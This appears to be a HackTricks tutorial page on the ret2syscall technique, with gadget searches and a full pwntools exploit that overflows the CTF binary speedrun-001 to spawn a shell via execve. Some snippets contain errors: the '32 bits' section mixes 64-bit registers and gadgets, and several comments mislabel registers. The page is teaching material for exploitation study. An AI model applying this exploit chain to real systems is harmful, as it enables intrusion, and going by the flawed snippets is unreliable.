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228 lines
8.2 KiB
Markdown
228 lines
8.2 KiB
Markdown
# Ret2syscall
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Basic Information
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This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
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In order to prepare the call for the **syscall** it's needed the following configuration:
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* `rax: 59 Specify sys_execve`
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* `rdi: ptr to "/bin/sh" specify file to execute`
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* `rsi: 0 specify no arguments passed`
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* `rdx: 0 specify no environment variables passed`
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So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.
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{% hint style="success" %}
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Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [ret2shellcode](stack-shellcode.md).
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{% endhint %}
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## Register gadgets
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Let's start by finding **how to control those registers**:
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```c
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ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
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0x0000000000415664 : pop rax ; ret
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0x0000000000400686 : pop rdi ; ret
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0x00000000004101f3 : pop rsi ; ret
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0x00000000004498b5 : pop rdx ; ret
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```
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With these addresses it's possible to **write the content in the stack and load it into the registers**.
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## Write string
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### Writable memory
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First you need to find a writable place in the memory
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```bash
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gef> vmmap
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[ Legend: Code | Heap | Stack ]
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Start End Offset Perm Path
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0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
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0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
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0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
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```
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### Write String in memory
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Then you need to find a way to write arbitrary content in this address
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```bash
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ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
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mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
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```
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### Automate ROP chain
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The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
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```bash
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ROPgadget --binary vuln --ropchain
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```
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#### 32 bits
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```python
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'''
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Lets write "/bin/sh" to 0x6b6000
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pop rdx, 0x2f62696e2f736800
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pop rax, 0x6b6000
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mov qword ptr [rax], rdx
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'''
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rop += popRdx # place value into EAX
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rop += "/bin" # 4 bytes at a time
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rop += popRax # place value into edx
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rop += p32(0x6b6000) # Writable memory
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rop += writeGadget #Address to: mov qword ptr [rax], rdx
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rop += popRdx
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rop += "//sh"
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rop += popRax
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rop += p32(0x6b6000 + 4)
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rop += writeGadget
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```
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#### 64 bits
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```python
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'''
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Lets write "/bin/sh" to 0x6b6000
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pop rdx, 0x2f62696e2f736800
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pop rax, 0x6b6000
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mov qword ptr [rax], rdx
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'''
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rop = ''
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rop += popRdx
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rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
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rop += popRax
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rop += p64(0x6b6000) # Writable memory
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rop += writeGadget #Address to: mov qword ptr [rax], rdx
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```
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## Lacking Gadgets
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If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
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{% content-ref url="srop-sigreturn-oriented-programming.md" %}
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[srop-sigreturn-oriented-programming.md](srop-sigreturn-oriented-programming.md)
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{% endcontent-ref %}
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There might be gadgets in the vDSO region, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
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## Exploit Example
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```python
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from pwn import *
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target = process('./speedrun-001')
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#gdb.attach(target, gdbscript = 'b *0x400bad')
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# Establish our ROP Gadgets
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popRax = p64(0x415664)
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popRdi = p64(0x400686)
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popRsi = p64(0x4101f3)
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popRdx = p64(0x4498b5)
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# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
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writeGadget = p64(0x48d251)
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# Our syscall gadget
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syscall = p64(0x40129c)
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'''
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Here is the assembly equivalent for these blocks
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write "/bin/sh" to 0x6b6000
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pop rdx, 0x2f62696e2f736800
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pop rax, 0x6b6000
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mov qword ptr [rax], rdx
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'''
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rop = ''
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rop += popRdx
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rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
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rop += popRax
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rop += p64(0x6b6000)
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rop += writeGadget
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'''
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Prep the four registers with their arguments, and make the syscall
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pop rax, 0x3b
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pop rdi, 0x6b6000
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pop rsi, 0x0
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pop rdx, 0x0
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syscall
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'''
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rop += popRax
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rop += p64(0x3b)
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rop += popRdi
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rop += p64(0x6b6000)
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rop += popRsi
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rop += p64(0)
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rop += popRdx
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rop += p64(0)
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rop += syscall
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# Add the padding to the saved return address
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payload = "0"*0x408 + rop
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# Send the payload, drop to an interactive shell to use our new shell
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target.sendline(payload)
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target.interactive()
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```
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## Other Examples & References
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* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
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* 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
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* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
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* 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
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* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
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* 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
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* [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/)
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* 32 bits, no ASLR, use vDSO to find ROP gadgets and call `execve`.
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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